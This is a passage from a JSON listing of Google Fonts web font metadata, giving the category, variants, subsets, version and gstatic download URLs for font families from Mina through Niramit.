"http://fonts.gstatic.com/s/miltoniantattoo/v15/EvOUzBRL0o0kCxF-lcMCQxlpVsA_FwP8MDBku-s.ttf" } }, { "kind": "webfonts#webfont", "family": "Mina", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "bengali", "latin", "latin-ext" ], "version": "v3", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/mina/v3/-nF8OGc18vARl4NMyiXZ95OkJwA.ttf", "regular": "http://fonts.gstatic.com/s/mina/v3/-nFzOGc18vARrz9j7i3y65o.ttf" } }, { "kind": "webfonts#webfont", "family": "Miniver", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/miniver/v8/eLGcP-PxIg-5H0vC770Cy8r8fWA.ttf" } }, { "kind": "webfonts#webfont", "family": "Miriam Libre", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "hebrew", "latin", "latin-ext" ], "version": "v6", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/miriamlibre/v6/DdT-798HsHwubBAqfkcBTL_X3LbbRcC7_-Z7Hg.ttf", "regular": "http://fonts.gstatic.com/s/miriamlibre/v6/DdTh798HsHwubBAqfkcBTL_vYJn_Teun9g.ttf" } }, { "kind": "webfonts#webfont", "family": "Mirza", "category": "display", "variants": [ "regular", "500", "600", "700" ], "subsets": [ "arabic", "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "500": "http://fonts.gstatic.com/s/mirza/v7/co3FmWlikiN5EtIpAeO4mafBomDi.ttf", "600": "http://fonts.gstatic.com/s/mirza/v7/co3FmWlikiN5EtIFBuO4mafBomDi.ttf", "700": "http://fonts.gstatic.com/s/mirza/v7/co3FmWlikiN5EtJhB-O4mafBomDi.ttf", "regular": "http://fonts.gstatic.com/s/mirza/v7/co3ImWlikiN5EurdKMewsrvI.ttf" } }, { "kind": "webfonts#webfont", "family": "Miss Fajardose", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/missfajardose/v9/E21-_dn5gvrawDdPFVl-N0Ajb8qvWPaJq4no.ttf" } }, { "kind": "webfonts#webfont", "family": "Mitr", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8fMZFJDUc1NECPY.ttf", "300": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8ZcaFJDUc1NECPY.ttf", "500": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8c8bFJDUc1NECPY.ttf", "600": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8eMcFJDUc1NECPY.ttf", "700": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8YcdFJDUc1NECPY.ttf", "regular": "http://fonts.gstatic.com/s/mitr/v5/pxiLypw5ucZFyTsyMJj_b1o.ttf" } }, { "kind": "webfonts#webfont", "family": "Modak", "category": "display", "variants": [ "regular" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/modak/v5/EJRYQgs1XtIEsnMH8BVZ76KU.ttf" } }, { "kind": "webfonts#webfont", "family": "Modern Antiqua", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/modernantiqua/v9/NGStv5TIAUg6Iq_RLNo_2dp1sI1Ea2u0c3Gi.ttf" } }, { "kind": "webfonts#webfont", "family": "Mogra", "category": "display", "variants": [ "regular" ], "subsets": [ "gujarati", "latin", "latin-ext" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mogra/v6/f0X40eSs8c95TBo4DvLmxtnG.ttf" } }, { "kind": "webfonts#webfont", "family": "Molengo", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/molengo/v10/I_uuMpWeuBzZNBtQbbRQkiCvs5Y.ttf" } }, { "kind": "webfonts#webfont", "family": "Molle", "category": "handwriting", "variants": [ "italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "italic": "http://fonts.gstatic.com/s/molle/v8/E21n_dL5hOXFhWEsXzgmVydREus.ttf" } }, { "kind": "webfonts#webfont", "family": "Monda", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/monda/v9/TK3gWkYFABsmjsLaGz8Dl-tPKo2t.ttf", "regular": "http://fonts.gstatic.com/s/monda/v9/TK3tWkYFABsmjvpmNBsLvPdG.ttf" } }, { "kind": "webfonts#webfont", "family": "Monofett", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/monofett/v9/mFTyWbofw6zc9NtnW43SuRwr0VJ7.ttf" } }, { "kind": "webfonts#webfont", "family": "Monoton", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/monoton/v9/5h1aiZUrOngCibe4fkbBQ2S7FU8.ttf" } }, { "kind": "webfonts#webfont", "family": "Monsieur La Doulaise", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/monsieurladoulaise/v8/_Xmz-GY4rjmCbQfc-aPRaa4pqV340p7EZl5ewkEU4HTy.ttf" } }, { "kind": "webfonts#webfont", "family": "Montaga", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/montaga/v7/H4cnBX2Ml8rCkEO_0gYQ7LO5mqc.ttf" } }, { "kind": "webfonts#webfont", "family": "Montez", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/montez/v10/845ZNMk5GoGIX8lm1LDeSd-R_g.ttf" } }, { "kind": "webfonts#webfont", "family": "Montserrat", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v14", "lastModified": "2019-07-23", "files": { "100": "http://fonts.gstatic.com/s/montserrat/v14/JTUQjIg1_i6t8kCHKm45_QphziTn89dtpQ.ttf", "200": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_aZA7g7J_950vCo.ttf", "300": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_cJD7g7J_950vCo.ttf", "500": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_ZpC7g7J_950vCo.ttf", "600": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_bZF7g7J_950vCo.ttf", "700": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_dJE7g7J_950vCo.ttf", "800": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_c5H7g7J_950vCo.ttf", "900": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_epG7g7J_950vCo.ttf", "100italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUOjIg1_i6t8kCHKm459WxZqi7j0dJ9pTOi.ttf", "200italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZBg_D-_xxrCq7qg.ttf", "300italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZYgzD-_xxrCq7qg.ttf", "regular": "http://fonts.gstatic.com/s/montserrat/v14/JTUSjIg1_i6t8kCHKm45xW5rygbi49c.ttf", "italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUQjIg1_i6t8kCHKm459WxhziTn89dtpQ.ttf", "500italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZOg3D-_xxrCq7qg.ttf", "600italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZFgrD-_xxrCq7qg.ttf", "700italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZcgvD-_xxrCq7qg.ttf", "800italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZbgjD-_xxrCq7qg.ttf", "900italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZSgnD-_xxrCq7qg.ttf" } }, { "kind": "webfonts#webfont", "family": "Montserrat Alternates", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v11", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/montserratalternates/v11/mFThWacfw6zH4dthXcyms1lPpC8I_b0juU0xiKfVKphL03l4.ttf", "200": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xJIb1ALZH2mBhkw.ttf", "300": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xQIX1ALZH2mBhkw.ttf", "500": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xGIT1ALZH2mBhkw.ttf", "600": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xNIP1ALZH2mBhkw.ttf", "700": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xUIL1ALZH2mBhkw.ttf", "800": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xTIH1ALZH2mBhkw.ttf", "900": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xaID1ALZH2mBhkw.ttf", "100italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTjWacfw6zH4dthXcyms1lPpC8I_b0juU057p-xIJxp1ml4imo.ttf", "200italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8dAbxD-GVxk3Nd.ttf", "300italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p95ArxD-GVxk3Nd.ttf", "regular": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTvWacfw6zH4dthXcyms1lPpC8I_b0juU0J7K3RCJ1b0w.ttf", "italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFThWacfw6zH4dthXcyms1lPpC8I_b0juU057qfVKphL03l4.ttf", "500italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8hA7xD-GVxk3Nd.ttf", "600italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8NBLxD-GVxk3Nd.ttf", "700italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p9pBbxD-GVxk3Nd.ttf", "800italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p91BrxD-GVxk3Nd.ttf", "900italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p9RB7xD-GVxk3Nd.ttf" } }, { "kind": "webfonts#webfont", "family": "Montserrat Subrayada", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/montserratsubrayada/v9/U9MM6c-o9H7PgjlTHThBnNHGVUORwteQQHe3TcMWg3j36Ebz.ttf", "regular": "http://fonts.gstatic.com/s/montserratsubrayada/v9/U9MD6c-o9H7PgjlTHThBnNHGVUORwteQQE8LYuceqGT-.ttf" } }, { "kind": "webfonts#webfont", "family": "Moul", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/moul/v11/nuF2D__FSo_3E-RYiJCy-00.ttf" } }, { "kind": "webfonts#webfont", "family": "Moulpali", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/moulpali/v12/H4ckBXKMl9HagUWymyY6wr-wg763.ttf" } }, { "kind": "webfonts#webfont", "family": "Mountains of Christmas", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/mountainsofchristmas/v12/3y9z6a4zcCnn5X0FDyrKi2ZRUBIy8uxoUo7eBGqJFPtCOp6IaEA.ttf", "regular": "http://fonts.gstatic.com/s/mountainsofchristmas/v12/3y9w6a4zcCnn5X0FDyrKi2ZRUBIy8uxoUo7ePNamMPNpJpc.ttf" } }, { "kind": "webfonts#webfont", "family": "Mouse Memoirs", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mousememoirs/v7/t5tmIRoSNJ-PH0WNNgDYxdSb7TnFrpOHYh4.ttf" } }, { "kind": "webfonts#webfont", "family": "Mr Bedfort", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mrbedfort/v8/MQpR-WCtNZSWAdTMwBicliq0XZe_Iy8.ttf" } }, { "kind": "webfonts#webfont", "family": "Mr Dafoe", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mrdafoe/v8/lJwE-pIzkS5NXuMMrGiqg7MCxz_C.ttf" } }, { "kind": "webfonts#webfont", "family": "Mr De Haviland", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mrdehaviland/v8/OpNVnooIhJj96FdB73296ksbOj3C4ULVNTlB.ttf" } }, { "kind": "webfonts#webfont", "family": "Mrs Saint Delafield", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mrssaintdelafield/v7/v6-IGZDIOVXH9xtmTZfRagunqBw5WC62cK4tLsubB2w.ttf" } }, { "kind": "webfonts#webfont", "family": "Mrs Sheppards", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mrssheppards/v8/PN_2Rfm9snC0XUGoEZhb91ig3vjxynMix4Y.ttf" } }, { "kind": "webfonts#webfont", "family": "Mukta", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-17", "files": { "200": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEOjFma-2HW7ZB_.ttf", "300": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbFqj1ma-2HW7ZB_.ttf", "500": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEyjlma-2HW7ZB_.ttf", "600": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEeiVma-2HW7ZB_.ttf", "700": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbF6iFma-2HW7ZB_.ttf", "800": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbFmi1ma-2HW7ZB_.ttf", "regular": "http://fonts.gstatic.com/s/mukta/v7/iJWKBXyXfDDVXYnGp32S0H3f.ttf" } }, { "kind": "webfonts#webfont", "family": "Mukta Mahee", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "gurmukhi", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9MFcBoHJndqZCsW.ttf", "300": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9NhcxoHJndqZCsW.ttf", "500": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9M5choHJndqZCsW.ttf", "600": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9MVdRoHJndqZCsW.ttf", "700": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9NxdBoHJndqZCsW.ttf", "800": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9NtdxoHJndqZCsW.ttf", "regular": "http://fonts.gstatic.com/s/muktamahee/v5/XRXQ3IOIi0hcP8iVU67hA-vNWz4PDWtj.ttf" } }, { "kind": "webfonts#webfont", "family": "Mukta Malar", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "latin", "latin-ext", "tamil" ], "version": "v6", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqIMwBtAB62ruoAZW.ttf", "300": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqINUBdAB62ruoAZW.ttf", "500": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqIMMBNAB62ruoAZW.ttf", "600": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqIMgA9AB62ruoAZW.ttf", "700": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqINEAtAB62ruoAZW.ttf", "800": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqINYAdAB62ruoAZW.ttf", "regular": "http://fonts.gstatic.com/s/muktamalar/v6/MCoXzAXyz8LOE2FpJMxZqLv4LfQJwHbn.ttf" } }, { "kind": "webfonts#webfont", "family": "Mukta Vaani", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "gujarati", "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXNV8BD-u97MW1a.ttf", "300": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGWpVMBD-u97MW1a.ttf", "500": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXxVcBD-u97MW1a.ttf", "600": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXdUsBD-u97MW1a.ttf", "700": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGW5U8BD-u97MW1a.ttf", "800": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGWlUMBD-u97MW1a.ttf", "regular": "http://fonts.gstatic.com/s/muktavaani/v7/3Jn5SD_-ynaxmxnEfVHPIF0FfORL0fNy.ttf" } }, { "kind": "webfonts#webfont", "family": "Muli", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800", "900", "200italic", "300italic", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v20", "lastModified": "2020-02-05", "files": { "200": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFlOkHkw2-m9x2iC.ttf", "300": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFmQkHkw2-m9x2iC.ttf", "500": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFn8kHkw2-m9x2iC.ttf", "600": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFkQl3kw2-m9x2iC.ttf", "700": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFkpl3kw2-m9x2iC.ttf", "800": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFlOl3kw2-m9x2iC.ttf", "900": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFlnl3kw2-m9x2iC.ttf", "regular": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFnOkHkw2-m9x2iC.ttf", "200italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG0xFz0e2fwniCvzM.ttf", "300italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG089z0e2fwniCvzM.ttf", "italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG05Fz0e2fwniCvzM.ttf", "500italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG06Nz0e2fwniCvzM.ttf", "600italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG00900e2fwniCvzM.ttf", "700italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG03Z00e2fwniCvzM.ttf", "800italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG0xF00e2fwniCvzM.ttf", "900italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG0zh00e2fwniCvzM.ttf" } }, { "kind": "webfonts#webfont", "family": "Mystery Quest", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mysteryquest/v7/-nF6OG414u0E6k0wynSGlujRHwElD_9Qz9E.ttf" } }, { "kind": "webfonts#webfont", "family": "NTR", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ntr/v7/RLpzK5Xy0ZjiGGhs5TA4bg.ttf" } }, { "kind": "webfonts#webfont", "family": "Nanum Brush Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v17", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/nanumbrushscript/v17/wXK2E2wfpokopxzthSqPbcR5_gVaxazyjqBr1lO97Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Nanum Gothic", "category": "sans-serif", "variants": [ "regular", "700", "800" ], "subsets": [ "korean", "latin" ], "version": "v17", "lastModified": "2019-07-22", "files": { "700": "http://fonts.gstatic.com/s/nanumgothic/v17/PN_oRfi-oW3hYwmKDpxS7F_LQv37zlEn14YEUQ.ttf", "800": "http://fonts.gstatic.com/s/nanumgothic/v17/PN_oRfi-oW3hYwmKDpxS7F_LXv77zlEn14YEUQ.ttf", "regular": "http://fonts.gstatic.com/s/nanumgothic/v17/PN_3Rfi-oW3hYwmKDpxS7F_z_tLfxno73g.ttf" } }, { "kind": "webfonts#webfont", "family": "Nanum Gothic Coding", "category": "monospace", "variants": [ "regular", "700" ], "subsets": [ "korean", "latin" ], "version": "v14", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/nanumgothiccoding/v14/8QIYdjzHisX_8vv59_xMxtPFW4IXROws8xgecsV88t5V9r4.ttf", "regular": "http://fonts.gstatic.com/s/nanumgothiccoding/v14/8QIVdjzHisX_8vv59_xMxtPFW4IXROwsy6QxVs1X7tc.ttf" } }, { "kind": "webfonts#webfont", "family": "Nanum Myeongjo", "category": "serif", "variants": [ "regular", "700", "800" ], "subsets": [ "korean", "latin" ], "version": "v15", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/nanummyeongjo/v15/9Bty3DZF0dXLMZlywRbVRNhxy2pXV1A0pfCs5Kos.ttf", "800": "http://fonts.gstatic.com/s/nanummyeongjo/v15/9Bty3DZF0dXLMZlywRbVRNhxy2pLVFA0pfCs5Kos.ttf", "regular": "http://fonts.gstatic.com/s/nanummyeongjo/v15/9Btx3DZF0dXLMZlywRbVRNhxy1LreHQ8juyl.ttf" } }, { "kind": "webfonts#webfont", "family": "Nanum Pen Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v15", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/nanumpenscript/v15/daaDSSYiLGqEal3MvdA_FOL_3FkN2z7-aMFCcTU.ttf" } }, { "kind": "webfonts#webfont", "family": "Neucha", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/neucha/v11/q5uGsou0JOdh94bvugNsCxVEgA.ttf" } }, { "kind": "webfonts#webfont", "family": "Neuton", "category": "serif", "variants": [ "200", "300", "regular", "italic", "700", "800" ], "subsets": [ "latin", "latin-ext" ], "version": "v12", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/neuton/v12/UMBQrPtMoH62xUZKAKkfegD5Drog6Q.ttf", "300": "http://fonts.gstatic.com/s/neuton/v12/UMBQrPtMoH62xUZKZKofegD5Drog6Q.ttf", "700": "http://fonts.gstatic.com/s/neuton/v12/UMBQrPtMoH62xUZKdK0fegD5Drog6Q.ttf", "800": "http://fonts.gstatic.com/s/neuton/v12/UMBQrPtMoH62xUZKaK4fegD5Drog6Q.ttf", "regular": "http://fonts.gstatic.com/s/neuton/v12/UMBTrPtMoH62xUZyyII7civlBw.ttf", "italic": "http://fonts.gstatic.com/s/neuton/v12/UMBRrPtMoH62xUZCyog_UC71B6M5.ttf" } }, { "kind": "webfonts#webfont", "family": "New Rocker", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/newrocker/v8/MwQzbhjp3-HImzcCU_cJkGMViblPtXs.ttf" } }, { "kind": "webfonts#webfont", "family": "News Cycle", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v16", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/newscycle/v16/CSR54z1Qlv-GDxkbKVQ_dFsvaNNUuOwkC2s.ttf", "regular": "http://fonts.gstatic.com/s/newscycle/v16/CSR64z1Qlv-GDxkbKVQ_TOcATNt_pOU.ttf" } }, { "kind": "webfonts#webfont", "family": "Niconne", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/niconne/v9/w8gaH2QvRug1_rTfrQut2F4OuOo.ttf" } }, { "kind": "webfonts#webfont", "family": "Niramit", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v4", "lastModified": "2019-11-05", "files": { "200": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVXx7tiiEr5_BdZ8.ttf", "300": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVRh4tiiEr5_BdZ8.ttf", "500": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVUB5tiiEr5_BdZ8.ttf", "600": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVWx-tiiEr5_BdZ8.ttf", "700": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVQh_tiiEr5_BdZ8.ttf", "200italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiXimOq73EZZ_f6w.ttf", "300italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiOiqOq73EZZ_f6w.ttf", "regular": 